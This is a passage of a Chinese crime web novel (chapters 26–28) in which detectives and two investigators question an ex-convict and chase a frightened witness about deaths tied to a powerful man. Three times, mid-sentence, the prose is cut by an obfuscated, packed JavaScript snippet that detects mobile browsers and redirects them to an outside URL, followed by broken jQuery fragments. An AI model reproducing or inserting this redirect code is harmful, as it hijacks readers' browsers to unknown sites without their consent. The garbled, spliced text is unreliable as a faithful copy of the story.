男人清澈的声线如同缥碧的水流,在荒野山林间流动:“多年的牢狱生涯让你的身体保留下各种被改造的习惯。吃饭、睡觉、走路、坐立……种种日常的细节足以让你一眼有别于普通人。即便你做好了心理准备,还是无法调整。所以离开监狱后,你出现长期的失眠,抗拒生人、抗拒交流,甚至恐惧陌生人的声音。尤其是面对你的母亲,亲眼目睹生活对她的磋磨,是另外一种锥心刺骨的刑罚,让你忍不住想要逃避。这些都是你痛苦的证明,无法摆脱。”
梁鸣觉得这场景太过阴森诡异,浑身起了层鸡皮疙瘩,再次拿起旁边的手电筒,往男人脸上和身后照了照,确认他是有影子的,不是自己半夜撞了鬼。
他憋了半天,憋出一句:“你哪个教的啊?半夜出来干活?我没钱入会啊,而且传教在国内不合法你知道吗?”
男人对他这种玩世不恭的态度感到困惑,偏头问:“你可以接受这种每天如同慢刀子割肉的生活吗?”
梁鸣忙不迭地道:“我可以啊。”
男人笑了一下:“你们似乎都喜欢高估时间的能力。我以前也是。”
梁鸣枕着自己手臂,仰躺在椅子上,无所用心地道:“你话说早了。我四十多岁了小兄弟,等你到我这个年纪,你也能学会看开。”
男人不以为然:“人们擅长粉饰太平。给下作的东西冠上光鲜的名称,由此来自欺欺人。把欺凌称之为磨砺,妥协称之为宽容,麻木称之为成长。可是有什么用呢?无法解决错误的根源,活着不过跟苟延残喘一样没有意义。”
梁鸣放下腿,坐直身来,沉思片刻,这次给了个由衷的建议:“你有去看过心理医生吗?你这么强烈的自毁倾向,可能需要住院。”
男人表情平淡地说:“谢谢,我接受过治疗,可惜不大走运,他们总和我过不去。”
梁鸣浑然一个滑头,都被他说得有点瘆得慌,摸了摸发凉的后脖颈问:“你跟我说这些干什么?”
“第一个和最后一个帮助我的人,都是你的父亲。可惜他没能成功。他最后的期望是你可以平安,我希望你起码不会遇到跟我一样的境况。”男人将远眺的目光落到他身上,那轻飘飘的视线竟极具穿透力,只是有点冰凉,“我的过去快要结束了,在结束之前,我有一份礼物送给你,作为我没能回报梁教授的谢礼。”
男人垂下眸光,细长的两指间夹着一张名片,递到他面前。
梁鸣一头雾水地接过。
男人额前细软的短发被夜风吹得凌乱,离开前最后说了一句:“可能不会再有机会见面了。那么,祝你幸运。”
黑灯瞎火的,梁鸣给他照着手电,目送他离开。深处夜色浓黑,那背影很快消失在野蛮肆意的枝叶间。梁鸣越想越觉着这经历堪比什么乡村怪谈,隔一阵再扭头看,只看见一片诡谲重叠的树影,不由被自己吓得打了个寒颤。
26.聚合
A市的早晨带着些微的潮气,空气雾蒙蒙的,有种将雨未雨的阴沉。
季和从分局大门出来,身边跟着几个下夜班的同事。几人商量着是先去吃饭,还是先回家补觉。
季和跟赵戎叮嘱道:“下午把江平的资料再整理一下,到时候一起带过去。”
就听一道声音突兀横插进来:“去哪里?去B市吗?我也去!”
众人这才看见那个背着包,杵在门边装门神的陆盛兴。
“你……”季和对他的聒噪印象深刻,没问他哪来的消息,眯起眼睛,冷冽地扫向赵戎。
赵戎后退一大步,连连摆手:“不是我!”
“我在网上看到一个帖子,说是B市死人了,我们领导也在那个聚会上。虽然帖子没多久就被管理员删了,但我是谁?我找到发帖人了!”陆盛兴紧跟在他们身后,一张年轻的脸上写满了正义感,“你们现在是不是要去B市抓我领导?带上我啊!我保证公平、公正,不跟她通风报信。我会努力劝她自首的!”
陆盛兴清亮的声音就跟放生日歌的那个花形蜡烛一样,360度全立体地环绕着他们。
季和熬夜后的头疼起码加重了十倍。
关键赵戎这厮还跟他搭话:“上次我就想问了,你为什么要管她叫领导啊?”
陆盛兴热情回应:“因为她看起来就是做领导的人啊。叫老大不正式,老板就不合适了。”
两只鸟叽叽喳喳地交流起生物链底层的知识。
“老板有什么不合适的?”
“叫老板,总感觉目的是为了向她要工资,但是叫领导就不一样了,是一种信念的追随跟引领!”
赵戎顿感微妙地说:“你们这个工作室,都是这么的……”
“这么会拍马屁?”他一语未落,陆盛兴已昂首挺胸抢白话题。
青年挥舞着手臂,有如最虔诚的传道士在向信徒发表他对职场马屁这份信仰的演说:“拍马屁可以让同事关系变得和谐,减少不必要的恶性竞争。我们积极鼓励同事在这赛道上勇争第一,轮流哄领导高兴,改善办公氛围,实现共同加薪。这是我们崇高不可动摇的组内文化!”
赵戎听得算是开了眼界,正要义正辞严地训斥他们这股歪风邪气,忽而想到自己费尽心思想讨季和欢心,兢兢业业地为此努力,但至今只精准拍到过她的马腿。办公室里一干老油条还热衷于火上浇油,让他处境艰危,顿时觉得陆盛兴的理论颇有意义。
那边季和在停车场找到自己的车,长舒一口气,从未觉得这段路如此遥远。
陆盛兴停下嘴,兔子一样敏捷蹦了过来。
季和目光幽幽地盯了他一会儿,说:“我们的车坐不下了。我要捎他们回家。”
陆盛兴说:“没关系,让我坐车顶上呗。”
众人:“??”
赵戎怕他挨揍,一迭声地训斥道:“你以为这是哪儿啊?我们顶着你出去开屏吗?A市路上没有交警吗?你以为刑警违规不用交罚款吗?!”
“太好了!”陆盛兴咧嘴露出个灿烂的笑容,眼神纯良地说,“我就知道你们不会那么狠心把我丢车顶上。”
众人:“……??”
那头季和已经懒得听他们鬼扯,拉开车门上去了。陆盛兴极有眼力见地跟了上去,抢占走一个后排位置。只有赵戎木头木脑地站在原地,对着迅速满员的车辆傻了眼。
陆盛兴探出上半身,朝他礼貌地招招手:“再见。”
随即带着心满意足的笑容关上了车门。
季和也真的踩下油门启动了车辆,留下赵戎在风中凌乱,呆滞地凝视着车辆的尾灯,犹如在凝视抛弃自己的负心人。
“啊?为什么!为什么!!”
手机扬声器里传来赵戎撕心裂肺的质问。
“我明明加班加点!任劳任怨!我铁一般刚强的身体被你们磋磨得千疮百孔,我说什么了吗?你们居然就那么丢下我!”
季和按了按额头,示意陆盛兴把手机拿远。
这魔头仗着她在开车不敢乱动,坚持把手机对准前排,让整车人共同聆听赵戎的心声。
边上同事道:“别说得我们像是什么屠宰场一样。”
陆盛兴带着主人翁精神道:“出差那么累,你不如趁这机会休息一下,我们会尽早回来的。”
赵戎痛心疾首地问:“你们真的不打算带我去B市吗?师父!我是你的亲徒弟啊!”
“行了。”季和烦不胜烦,为打断他新一轮的鬼哭狼嚎,给他派了个任务,“梁鸣的手机一直打不通,你叫上你黄哥,去跟他见一面。问问他最近有接触过什么人。凶手如果真是为了梁鸣杀的江平,我猜应该直接或间接地跟他透露过。”
赵戎查过导航。梁鸣所在的农家院离他们这里远着呢,差不多横跨了整个市区,这会儿还是早高峰,绕路尽量避开拥堵路段,起码也要两个多小时的路程。等他一来一回,季和铁定带着人跑了。
他一句“不要啊”蓄势待发地滚到喉咙口,就听季和补充:“明天带着江平老婆一起去B市,给你买好动车票了,这里离B市有一千多公里,傻子才会开车去。”
赵戎当即偃旗息鼓,乖巧应了声“好”。
陆盛兴挂断电话,机敏地问:“这个傻子是在骂我们领导吗?”
他透过后视镜瞄到季和的脸色,深谙坐贼船的规矩,挪了挪屁股,恭敬而谄媚地说:“我不会告诉她的。从现在开始,您才是我的领导。”
季和靠边停车,一指窗外示意:“到了。”
陆盛兴以为是到车站了,兴冲冲往外一看,看到了自己家公司。
季和说:“赶紧下去。少做梦。”
陆盛兴见她如此绝情,怒道:“我自己买票去!我坐飞机!头等舱!”
他大力推开车门,哼了一声,轻轻把门合上。
·
上午11点左右。
山间雾气还没散去,一辆车停在农家院的大门,赵戎跟一名同事从车上下来。
前厅摆了两张麻将桌,几人正聚在一起推牌说笑。赵戎目光在众人脸上转过一圈,找到资料中的梁母,朝她露出个略显憨实的笑容:“阿姨好。”
同桌的老板站起来招待:“小伙子要住宿吗?”
赵戎亲和的外表颇具欺骗性,可梁母一看他们两人的体格和配置便猜到他们是警察。顿时有如惊弓之鸟地站了起来,因起身太快,两眼发黑,颤颤巍巍地打了个晃儿。
赵戎箭步上前扶住她,等她站稳也不敢松开。
梁母双手无意识地用力,紧紧扼住赵戎的手腕,哑声问:“梁鸣怎么了吗?”
赵戎无懈可击地说:“他没怎么,我是他朋友的弟弟,帮我哥给他点东西。说好了来这边找他的。他现在在房间吗?”
他边说边扶着梁母往楼梯那边走去。
梁母面无血色,瞳孔没有焦点地晃动,强行定了定神,牙关打颤地说:“他去钓鱼了,昨晚出去的,还没回来。最近这段时间他都是白天睡觉,晚上出门。”
“那麻烦你给他打个电话。”
三人停在楼梯半道。
梁母摸出手机,拨过去是一段忙音。这让她瞬间有些失控,不敢看赵戎的眼睛,唯恐会听到严厉的质疑,她惊慌失措地解释:“他经常不带手机,可能又丢房间里了。我数落过他好几次,他就是不听。他没跑。”
梁母怕他们不信,哪怕赵戎再三推辞,还是拉着他们去了梁鸣的房间。
赵戎二人停在门口,看梁母在屋子里焦头烂额地转了一圈,从桌上一堆摊开的杂物中翻出个手机,惴惴不安地向他们展示:“同志你们看,手机在这儿。他没朋友了,平时用不上,总是忘记丢到哪儿。”
又手忙脚乱地翻出充电线,给手机插上。
连上线之后,梁母才发现手机不是没电了,是被梁鸣关机了。一时间悲从中来,有股抑制不住的酸楚。即是对儿子的心疼,也是多年噩梦缠身的后遗症。
她一手撑着桌面,一手抚着额头,眼泪夺眶而出:“梁鸣不喜欢接电话,也不喜欢跟人聊天,怕别人问他是做什么工作。他装得嬉皮笑脸不在意,但是他反省了的警察同志。这段时间他哪儿也没去,就在这里陪我……”
她拉到极限的心弦,经不起一点风吹草
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440966|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
动。害怕眼前的和平是一场镜花水月,伸手拨一拨水面就消失了。
面对警察,那些消沉的意志瞬间将她烧成了死灰,踩在脚底来回碾动,说到后面哽咽得难以成声。
“阿姨,我们是有个案子找他问几句话,不一定跟他有关,也没要带他回去调查。”
赵戎尽可能地放柔语气安慰,没什么成效。他绝望地回头,跟同事苦哈哈地对视,才明白季和为什么不亲自来,要把这种差事打发给他。
赵戎高大而局促的身形站在梁母身边,肖似一只笨拙的狗熊。他不敢让老人一直哭,浑身跟长了尖刺似的,备受煎熬地陪着,直到梁鸣跟救世主一样降临。
“你们在干什么?”
赵戎打着手势,招呼他赶紧过来:“我们找你问一点事,阿姨可能误会了。”
梁母抽了张纸巾抹脸,眼眶发红地朝他看去。
梁鸣把手里的工具放进厕所,低垂着头走过来,短短几步路,再抬起头,调整成一副漫不经心的模样,混不吝地道:“妈,你心理素质那么差,真出什么事,我怎么带你跑路啊?”
梁母气得掐了他一把:“当着警察同志的面,你胡说什么啊!”
梁鸣嬉皮笑脸地说:“妈,你下去打牌吧。你留在这儿下面的人得说我闲话了。”
赵戎的同事也道:“阿姨,我们就问几句话,你放心吧。”
梁母依依不舍地走出房门,小心把门带上。
听到人下了楼,梁鸣脱去上衣外套,无波无澜地说:“下次我把手机随身带着,给你们设个特别提醒。有事别找老太太了,她怕警察。”
赵戎也知道自己吓到老人家,一时有些内疚。
梁鸣问:“什么事?”
赵戎说:“江平死了。”
梁鸣下意识地反问:“江平是谁?”
赵戎懵了,说:“江平就是那个,初中时候诬陷你的同学。”
“哦……江平啊。他叫江平啊?”梁鸣再听见这个人的消息,心绪出乎意外,跟死海一般平静,连对方的脸都记不清了。
初中转学那时候,他还以为自己会对这段屈辱刻骨铭心,死也无法忘怀。连做鬼后怎么报复的计划都罗列了不止十八个版本。没想到如今提起来,会跟鸿毛一样无足轻重。
他给自己倒了杯水,端着水杯失魂落魄地站立良久,怅惘地感慨道:“好奇怪,听到他死了,我一点也没有开心。”
赵戎跟同事对视一眼。同事说:“所以人生没有过不去的坎儿。你说你当时但凡忍一口气,现在该有多好。”
梁鸣喝了口水,没接他这句话,转而问:“所以为什么找我?”
赵戎一时不知道怎么回答。
梁鸣说:“因为我杀过人?”
他说这话时没有怨怼,只是似有若无地跟了声叹息。
赵戎生硬问:“最近有什么人找过你吗?你爸爸以前的学生、朋友,都可以。”
梁鸣拎回皱成一团的外套,在口袋里翻找一遍,递去一张白色名片。
赵戎来回翻看:“这是什么?”
“不知道,昨天晚上有人给我的。我本来打算找家道观烧了它。”梁鸣认真说,“这个人貌似认识我爸。我不知道你们在查什么,反正他是我见过最邪门的一个。”
赵戎半信半疑地收下名片,拿出手机搜索上面标注的公司名。
·
手机屏幕上标着硕大的数字:“11:23”
莹白的光线照着方清昼的脸,驱散她最后一点困意。
房间窗帘紧闭,只有床头亮着一盏柔和的夜灯。
周随容搬了张椅子坐到床边,就着昏黄的光线,对着电脑整理资料。
方清昼转了个身,平躺着不动,睁着眼睛对着天花板出神。
周随容以为她在做深度的思考,没打断她的状态,合上电脑静对着她看。
方清昼转动着眼珠与他对上视线,默然片刻后小声道:“容哥,你这样的出场方式有点像鬼。”
周随容说:“我早上找了你三次,你一直没起床。现在已经中午了。你昨天晚上为什么熬夜?”
27.走访
方清昼从床上坐起来,没有精力跟周随容探讨睡眠在人类活动行为中,是否能做到主观可控。
昨晚临睡前,她抽空打了几版腹稿,试图做好真相揭露前的铺垫。可铺垫内容写了两千多字,尤在车轱辘废话,她自我审阅后只能忍痛删除。
好不容易迷迷糊糊地睡着,大抵是白天发生了太多事,又开始做噩梦。
她梦到周随容上一秒在抱着她接吻,下一秒拖起行李箱头也不回地离开她家。她本能地去拉对方的手,被周随容一把甩开。
男人用箱子隔在两人中间,阻止她的靠近,冷冰冰地说:“我们已经分手了。”
随后画面急速跳转,中间出现各种古怪离奇的剧情。
方清昼在经过一段千辛万苦的冒险,终于把周随容带回家了,搬了张椅子看他打游戏。
屏幕上的小人跳来蹦去地放技能,闪出五颜六色的光效。方清昼刚要开口问游戏规则,周随容忽然扭过头,又是掷地有声的一句:“方清昼,你能不能正确对待已分手的前男友?以后你不许再用我的账号充钱了。”
给方清昼一下子气醒了。
她翻了个身继续睡,这次没接上前面的梦境,体验更为真实。
她回到了梁益正的别墅外,走到树下,垂下视线,亲眼看见了尸体。
可那张青白的、死气沉沉的脸,并不是江平,而是周随容。
方清昼第一眼没有认出来,因为这种形象不存在于她的任何记忆中。她目光极为仓惶地在那熟悉五官上扫过,最后沉沉落在尸体脖颈处的狭长刀口上。
触目惊心的伤口冲击她的视觉,让她的思维如同一台故障的机器,轰鸣着,散架成无数破损的零件。
她下意识地想要逃避、远离,身体却不受控制地靠近。
紧跟着尸体活了过来,犹如时间倒退,凝固的伤口里喷涌出灼热的鲜血,汩汩地往外冒。
方清昼虚脱地跪到地上,两手死命按住周随容血流如注的切口。
那片开裂的皮肉紧贴着她的掌心,周随容的心跳和体温又一次在她紊乱的呼吸中缓缓消退,而方清昼嘶声呐喊、求救,发出尖利到破音的喊叫,噪音轰鸣的耳朵却听不到任何自己的声音。
这一幕发生过,让方清昼霍然区分出幻梦跟现实,醒了过来。而两次将她惊醒的罪魁祸首,就坐在她的床头,板着张脸问她为什么熬夜。
方清昼站起来,从周随容身边路过的时候,故意踩了他一脚。
周随容:“??”
小周后仰着脑袋看她走进厕所,抗议道:“得先给我定个罪名吧?方大人。”
方大人没理会他。
周随容拎着电脑,站在门边等候,长腿阔肩,舒眉朗目,短发看似随意地朝后抓去,站在光圈下,帅得赏心悦目。
方清昼拾掇好自己,懒散地撩开眼帘,朝他看了一眼。从卧室走出来的直线逐渐变形,到他跟前时脚步一错,没站稳一样地歪过上身贴住了他,手往他胸口一撑,然后才拉开门出去。
周随容老实站着,被明目张胆地揩了把油,唇角上翘扬声喊道:“干什么呢?方清昼!我都看到了!”
方清昼两手松闲插在裤兜里,若无其事地走远了。
周随容哼了一声。
他就知道,他当年是凭着一张脸把人勾到手的。
两人原本计划早上去会一会许游翔,探探这个在众人眼中最可能被梁益正逼到走投无路的青年遭遇过什么。这会儿得先忙着吃饭。
上了车,周随容查看周边的餐厅,问她中午吃什么。
方清昼答非所问地说:“你今天打扮得花枝招展的。”
周随容哭笑不得,放下手机说:“方清昼,我没喷香水没化妆,就洗了个脸,怎么就花枝招展了?是你自己的问题吧?”
方清昼不讲道理地坚持:“那也花枝招展的。”
周随容盯着她故作正经的侧脸,有点不是滋味地道:“方清昼,你怎么能那么关注别人的外表?这是一个弱点。”
方清昼当即反驳:“你胡说,从没有人这么说过我。我根本不关心别人长什么样。”
周随容拖着长音道:“哦,那是我洗了脸的错?”
他肯定打扮过,很有心机,但方清昼不好再跟他深入计较是谁的责任,拿过他的手机上下滑了一下,随便点进一家:“我想吃这个。”
她选的是麻辣香锅。周随容没有采纳。
两人在附近吃过饭,去往冯队发给他们的地址。
许游翔住在一片未改建的老旧居民区。
建筑已经有五六十年的历史,楼房入口隐蔽在一排商户侧面的小巷里。
附近车辆不好停,周随容在远处找位置。等他回来的时候,方清昼独自逛完一趟超市,手里多了个袋子。
周随容顺手接过,掂了掂发觉有些沉,打开查看发现是一盒月饼还有两瓶酒。对这离谱的搭配一时有些哑然。
方清昼气定神闲地说:“上门拜访不是应该要带礼物吗?这样他不接待我们的话,也是先丢东西再赶人。这家生活超市太小了,包装好看的只有这两种。”
周随容的表扬如期而至,并没有因为中午的不愉快而被省略:“您真是无时无刻不在进步,领导。”
周随容跟着领导的步伐,来到许游翔家所在的二楼。
不确定许游翔是故意躲着不见,还是换了新的住所,两人断断续续敲了五分钟门,里面没传出一点动静。
周随容把东西放下,跟方清昼商量是要继续等还是先回去,就见楼梯口拐上来一个人。
男人头发过长,蓬松而杂乱地挡住了眼睛,加上衣服洗得褪色,版型不够合身,显得外表有些邋遢。周身弥漫着一股颓败的病气,配上过于削瘦的身材,仿佛被薅走了蓬勃的生机,独剩下不符合年龄的沧桑。
他风中飘动的纸片似的,晃动着肩膀往上走。抬眼见周随容站在自己家门口,脚步钉住,电光火石的刹那,不知脑回路接到了哪条线,不等人开口介绍,将手里东西往前一砸,逃命似地飞奔下楼。
瞬间从八十老头儿,爆发出短跑健将的潜力。
周随容迟了一秒才反应过来,按着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444596|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扶手飞身跃下长段阶梯,大声喊道:“许游翔,你等等!我们没有恶意!”
这话一出,许游翔跑得更快了,闪电似蹿出防盗门,反手重重摔上门板。
周随容紧随其后,从巷口追出去,左右环视一圈,在街头飞速掠过的景象中,精准捕捉到许游翔的一角背影。
眼见许游翔朝着人群密集的方向夺命狂奔,慌不择路下作势要横穿马路。
周随容被他不要命的气势慑得心脏停跳,急中生智,朝着正前方大吼一声:“抓住他——那个蓝色衣服的人!”
远处的路人身躯一震,见许游翔东奔西窜,又看周随容正气凛然,以为是便衣警察在捉拿嫌疑人,马步一扎摆出架势,就要朝许游翔拦去。
许游翔早在跟路人眼神接触的一瞬,就将对方当成是周随容的同伙,以为自己被几人包围,求生意志的催动下,肾上腺素飙升,紧急调转方向,又拐回边上错乱的巷道。
这个地方是许游翔的主场,周随容一穿进去,直接被绕着失去方向,几次差点跟丢,借着许游翔冲撞的脚步声确定方位,又好悬追了上来。
许游翔体力不支,能坚持到现在已是奇迹,从肺里挤出的呼吸,如同老旧风箱鼓动时的哀鸣。
他单手倚在墙上急促喘息,累得面红耳赤,往前踱了两步,弯腰一阵干呕,吐出满地酸水。
许游翔的胃开始痛苦地痉挛,口水还挂在嘴边,转头见周随容阴魂不散地出现,眼眶充血外凸,射出能凝成实质凶光。
周随容停在原地,抬起双手示好:“我们不是梁益正的人,你别跑了!”
许游翔的听觉被自己的心跳占据,一个字都听不进去,不甘心就此认命,拖着灌铅的双腿再次发力跑动。
方清昼不知从哪里转过来,堵住了他的去路。
周随容:“!!”
周随容大惊失色,“唰”得一下比许游翔的死人脸还要白上三分,从嗓子眼挤出几个字,怒声吼道:“让开!”
许游翔显然也没将她放在眼里,径直前冲,喝道:“滚开!!”
方清昼一手背在身后,一手曲张五指紧了紧拳头。
眨眼间双方正面交会,许游翔表情发狠,抬手欲推,方清昼不紧不慢地从身后抽出一根铁棍,做了个敲击的假动作。
“啊——靠!”
沉闷一声撞响,青年为了闪避直直撞到墙上,手臂负担了全部的冲势,在反作用力下躺倒在地,惨痛呼叫,来回打滚。
他疼得两眼发黑,肺活量惊人地怒骂:“靠!你不要脸!你太卑鄙了!”
周随容:“……”
他扑上前,先检查了一下许游翔受创的手臂,不确定有没有骨裂,按着他完好的另外一条手跟后背,以防他乱动加重伤情。
方清昼抛开铁棍,佯装无事发生。见人疼得冷汗淋漓,瞳孔涣散,犹豫着道:“要不要送你去医院?”
许游翔听到医院,简直要从地上弹跳起来,忍着剧痛挣开周随容的桎梏,连滚带爬地往后躲,尖叫着喊:“不——不!我不去!你们又想干什么!”
28.套话
许游翔激烈的反应,不禁让方清昼怀疑,自己说的不是医院,而是什么屠宰场。
这声粗吼也让许游翔本就到达极限的身体进一步溃败,他的脸色近乎青紫,趴在地上不停呛咳呕吐,喘不上气。
周随容不敢耽搁,掏出手机拨打120。
许游翔趴在地上,咳过一阵后缓过来了,脸色回暖,总算没那么像刚地狱里爬出来的恶鬼。
只是大脑因缺氧而有些昏沉,跟坠在脖子上似的,重得抬不起来。
他能说话后的第一句就是:“不要叫救护车……”
周随容如临大敌,没理会他的挣扎,架起他的胳膊往街道上走。
许游翔单薄的眼皮不住颤抖,每走一步,仿佛就被抽走一块骨头,等出了小巷,人已经半死了,全身的重量都压在周随容身上,抬不起一根手指。
等真上了救护车,他反倒安分下来。
随车的医护询问他的个人情况,许游翔的脑子终于龟速转动起来,从万念俱灰的萎靡中复苏,憨傻地问:“这是去医院的救护车吗?”
护士说:“我们是去中心医院,这儿离第一人民医院有十来公里远呢。”
周随容的短袖给他拽得变形了,破布条一样地挂在身上,这会儿不大高兴:“一直说送你去医院,你倔什么?”
许游翔说着悲从中来,凄怆道:“上次他们几个人围着我逼我喝酒,我说我胃不好,他们说会送我去医院,强行给我灌了两瓶白酒,还逼我吃桌上的辣菜,等我受不了吐血了,才给我叫救护车。医生为了抢救,切除我一部分胃。我只差一口气就死路上了,以为你也要先打断我两只手,折磨我……”
车上医护集体震惊。
“都什么人啊?你报警了吗?”
“这是□□吧?这个年代还能发生这种事?”
看周随容二人的眼神也有点不对了。
周随容无故被泼一身脏水,啼笑皆非道:“这位先生,我们是第一次见面。你看我们像那种穷凶极恶的人吗?”
许游翔额前的头发被汗水粘成一团,他用手指梳理了下,露出自己无神的双眼,对着二人打量片刻,幽怨地说:“你们像那畜生签的网红。”
周随容:“……”网红这个职业是跳不过去了吗?
“对,我们是网红。”周随容懒得跟他掰扯自证,索性眼也不眨地顺着他胡扯,“不过我们是A市的。这次我一个朋友说想签梁益正的公司,我顺便过来打听一下。”
许游翔倏然起身,没站稳又一屁股跌了回去,抬手指着周随容的鼻尖,指尖因愤怒而小幅抖动,一脸“果然如此”的沉痛表情,喝斥道:“你骗我!我在帖子里看到你们了,偷拍的照片里有你们的脸!你们是梁益正的朋友,你是摄影师,她是你的老板,你们去参加他的好友聚会!还网红?我呸!”
周随容:“……”
方清昼“呵”了一声,以表示对他没能持续到一分钟的谎言的嘲笑。
许游翔脸红脖子粗地喊:“你们还杀了人!警察都赶过去了!”
医护再次炯炯有神地瞪向二人:“?!”
“网上的消息怎么能信?我们要是杀了人,这会儿应该在公安局里接受审问。”周随容无奈扶额,“B市最近人心惶惶,什么谣言都敢造。你该不会要说,我们是买通警察出来的吧?”
许游翔唇角扯动,对他的话嗤之以鼻,阴阳怪气地道:“我知道,没有证据嘛。梁益正的仇人一个接一个地出事,只要报警就是没有证据,对吧?一直用同一个借口,那么多年了连汤都不带换的,我说你们是不是太傲慢了?!”
方清昼问:“你说的是哪些人?”
医护的眼神里写着热忱,巴巴望着许游翔,然而没等他说出关键信息,救护车到医院了。
许游翔正怒火中烧,粗暴推了周随容一下,从车上跳下去。
附近人多口杂,周随容忍住话头,陪着许游翔按部就班地做检查、拍片。
等待结果的空隙,方清昼给他看了自己在网上的信息。
许游翔分明不信,冷笑着又用自己的手机查了遍,对着网上流传的那张陈年旧照,分辨了足足五分钟,态度稍有软化,但还是有些怀疑地道:“你不是因为长得像这个人,才被梁益正找过来蹭热度的吧?”
方清昼用看蠢货的眼神,给了个委婉的评价:“你的想法挺有新意的。”
“我们跟梁益正没有利益关系,他巴结我老板还差不多,说一句朋友算是抬举他了。”
周随容边说边拉着许游翔往门诊大楼外走,这次许游翔没怎么抵抗,甩了甩手,不大情愿地跟他出去。
走到无人的花坛边,周随容忧心忡忡地一叹,摆出要开诚布公的姿态,说:“不骗你了,实话告诉你吧,我表弟大学毕业找不到好工作,打算做自媒体,小账号开了两个月,没多少粉丝,就被梁益正的MCN公司联系上了,对方说要跟他签约。这小子胆儿肥,上周瞒着家里人,一个人跑到B市来……”
许游翔身体虚,看见花坛石就想坐下。
周随容揽着他的肩膀往边上一带,他猝不及防踉跄一步,发现一半屁股坐到了太阳底下。
刚要挪动过去,方清昼迤迤然坐在了阴凉地。
周随容在他耳边唉声叹气道:“我担心那臭小子被人骗,找方总过来帮忙探探底。否则她那么忙,去梁益正的高中聚会上凑什么热闹?”
又对着方清昼,重音说:“麻烦您了,方总。”
方总意会地点了点头。
许游翔听他说得情真意切,已经信了三分,问:“你弟弟长什么样啊?”
周随容翻出陆盛兴的照片给他看。
许游翔扫了两眼,觉得陆盛兴的眼神确实清澈,能干出羊入虎口这种事,诚恳地道:“你一定拦着你弟让他别签,梁益正的公司里没几个好人。这个年代大家都想赚钱,想红,可世上哪有那么便宜的事?走点正道吧。”
周随容苦笑道:“我要是拦得住,我就不会来找你了。”
许游翔迟钝地问:“对啊,你们为什么来找我?”
方清昼托着下巴,表情里满是乏味,慵懒地开口:“昨天梁益正的别墅外发现了一个死人,他们都以为死的人是你。一个叫王达的,对着警察抹眼泪,说你、他,还有梁益正,是几十年交情的好朋友。你最近抑郁症发作,一直对他说想死……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459676|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
许游翔听到一半就气得浑身发抖,站起来暴跳如雷道:“靠!那个臭不要脸的狗东西!诓我出去的人就是他!他跟梁益正是一伙儿的!他们想杀了我!”
他在花坛边来回走步,胸膛剧烈起伏,握着拳破口大骂。
“我想也是。你抑郁症发作,为什么非要死梁益正的家门口?这说不过去。更像是他们以为自己把你逼死了,找借口掩饰。”方清昼说,“那些人还不知道,警方后来确认了尸体身份,说是个A市人。我请人帮忙查了下死者的资料,他是第一次来B市,家庭负担重,来这边找机会赚钱。没想到有来无回。为什么要想不开呢?”
许游翔两手抱头,胸腔里发出一声悲愤的呜咽,无力地蹲了下来。
周随容过去拍了拍他的背:“那个王达喝醉了之后,嘴快告诉我,说梁益正公司里的女主播不少跟他有过亲密关系。那根本不是什么正经公司吧?你要是知道什么,不如告诉我们,大家一起想办法。”
许游翔怒目切齿地道:“梁益正就不是个东西!他从高中起就是个变态,仗着他爸的关系,作威作福。从学校一路到进社会,还是这一套!
“他认识不少社会上的流氓混混,谁不听他的话,他就让那帮畜生上门恐吓闹事。跟之前对付我一样,找花样整死他们。如果报警,警察要么和稀泥说没有证据,要么就是对他们不痛不痒地教育几句,顶天了关个行政拘留。那几个流氓会怕拘留?蹲十五二十天对他们来说是家常便饭!梁益正痛快加钱,他们巴不得能接着干!”
“认识梁益正的,要么摇着尾巴做他的狗,给他看门、舔他鞋底。要么装聋作哑、明哲保身,必要的时候出面帮他做伪证。”许游翔说着,表情扭曲到有些癫狂,带着浓勃的积愤痛恨道,“他在网上受人追捧,背地里猪狗不如!凭什么!凭什么他这样的人名利双收!”
周随容抽了口气,故作惊诧地道:“他那么大能量?什么都压得下去?他爸谁啊?”
方清昼不咸不淡地开口,语调听起来有种高高在上、让人厌恶的理智:“我觉得不一定是他有多大能量,而是他了解警方的办事章程。确实没留下什么重要把柄。”
“他爸退休前,是B市副市长,市公安局局长,你说有没有能量?”许游翔说着打了个哆嗦,语气一顿,压着嗓子道,“他的眼睛被人打瞎一只,你猜那小孩全家后来怎么样了?”
方清昼神色微动,眸光朝他那边转去,不以为然地道:“你想说他死了?”
